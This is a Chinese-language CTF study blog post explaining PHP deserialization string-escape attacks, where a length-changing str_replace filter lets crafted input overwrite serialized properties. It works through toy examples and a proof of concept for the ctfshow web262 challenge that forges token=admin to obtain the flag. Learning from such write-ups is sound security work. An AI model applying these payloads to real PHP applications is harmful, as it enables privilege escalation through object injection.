文章目錄
-
- 前言
- 反序列化特點
- 反序列化字元串逃逸
-
- 逃逸後字元串變長
-
- web262 wp
- 逃逸後字元串變短
前言
最近在刷ctfshow的web入門反序列化題目時,正好遇到了字元串逃逸的問題,就跟着群主的講解視訊和網上大佬的文章來學習一下。
反序列化特點
PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字元串除外),并且是根據長度判斷内容的 ,同時反序列化的過程中必須嚴格按照序列化規則才能成功實作反序列化 。
看如下代碼:
<?php
class a{
public $a = "shyshy";
public $b = "nb666";
}
$x = new a();
echo serialize($x);
//結果為 O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}
echo '<br>';
$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}';
var_dump(unserialize($y));
最後反序列化的結果為

因為是根據長度來判斷内容,是以會在長度符合後的第一個
}
結束
$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}6";}';
var_dump(unserialize($y));
當字元串和前面的長度不對應時,就會報錯
$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:6:"nb666";}'; // 長度改為6
var_dump(unserialize($y));
反序列化字元串逃逸
下面開始逃逸,能夠逃逸的特點一般是題目中都有替換函數,将一些關鍵詞替換成為另一個詞,進而造成字元串的長度
增加
或
減少
,而php總是先進行序列化操作,再去替換字元串。
逃逸後字元串變長
看下面的代碼
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
$this->isVIP=0;
}
}
function filter($s){
return str_replace('admin','hacker',$s);
}
$u = new user('admin','123456');
echo serialize($u);
輸出為
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
用過濾函數後
$us = filter($u_seri);
echo $us;
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
兩者對比,發現admin已經被替換成hacker,但是字元串長度沒有變,還是
5
,這就逃逸出來了一個字元。
現在想要将isVIP的值改為1,首先,可以将admin的值改為
admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
,這樣可以使得在反序列化時,到這裡就成功閉合,進而舍棄後面的字元串。
但是因為admin變長,前面的長度卻還顯示的是原來的,這就導緻運作後會報錯。這時就要借助過濾函數讓字元串變長的作用。(剛剛添加的字元串長度為47)
過濾函數每次替換後,都會讓字元串字母+1,也就是需要47個admin來填充
$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$u_seri = serialize($u);
$us = filter($u_seri);
echo $us;
輸出結果:
驗證一下長度
再來看最後結果
發現成功的讓isVIP變成了1
web262 wp
再看一道反序列化導緻字元串變長的題,是CTFshow web入門的web262
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
這裡會把字元串中的
fuck
替換為
loveU
,多出來一個字元。
題目中給的提示,還有一個message.php
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
開始分析
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg = new message('1','1','fuck');
$msg_1 = serialize($msg);
echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
上面是在函數過濾前,下面是函數過濾後
$msg_2 = filter($msg_1);
echo $msg_2;
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
可以看到逃逸出一個字元。那麼這題就是要把類中
$token
的值由user換成
admin
,按照上面的例子
可以看到字元串的長度是27,也就是要
27個fuck
完整poc:
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg = new message('1','1','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);
echo $msg_2;
驗證一下,發現逃逸成功,
token=admin
payload:
然後通路
message.php
擷取flag
逃逸後字元串變短
寫一個簡單的代碼
<?php
highlight_file(__FILE__);
class web{
public $username;
public $password;
public $isvip = '0';
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
}
}
$username = $_GET[u];
$password = $_GET[p];
function filter($msg){
return str_replace('shy','',$msg);
}
$msg = new web($username,$password);
$msg_1 = serialize($msg);
echo $msg_1;
echo '<br>';
echo '<br>';
$msg_2 = filter($msg_1);
echo $msg_2;
echo '<br>';
echo '<br>';
$msg_3 = unserialize($msg_2);
var_dump($msg_3);
目的是讓isvip的值由0變為1。在輸入普通字元後,結果正常
在輸入一個shy後,被置換為空,同時逃逸出三個字元
那麼想要讓isvip的值為1,就要構造如下字元串
長度為22,先輸入一個shy讓反序列化不正常
那麼紅框框起來的就變為username的值,那麼可以讓這中間的
";s:8:"password";s:29:"123456
全部變成username的值,再自己添加一個password,使變量的數量保持為3,就可以造成逃逸。
由于長度是29,無法整除3,是以改成1234567,此時長度為30,共需要10個shy,吃掉30個字元。然後添加
";s:8:"password";s:6:"123456
作為password序列化的内容。
如下圖,可以看到成功的把isvip的值變為1
payload: